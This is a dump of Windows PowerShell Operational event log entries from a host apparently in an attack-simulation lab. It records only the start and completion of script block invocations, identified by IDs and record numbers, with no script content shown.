Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047631
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047630
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047626
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047625
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047619
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047618
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047616
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047608
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047602
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047601
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047600
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047599
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047598
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047586
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047585
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047584
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047582
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047581
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
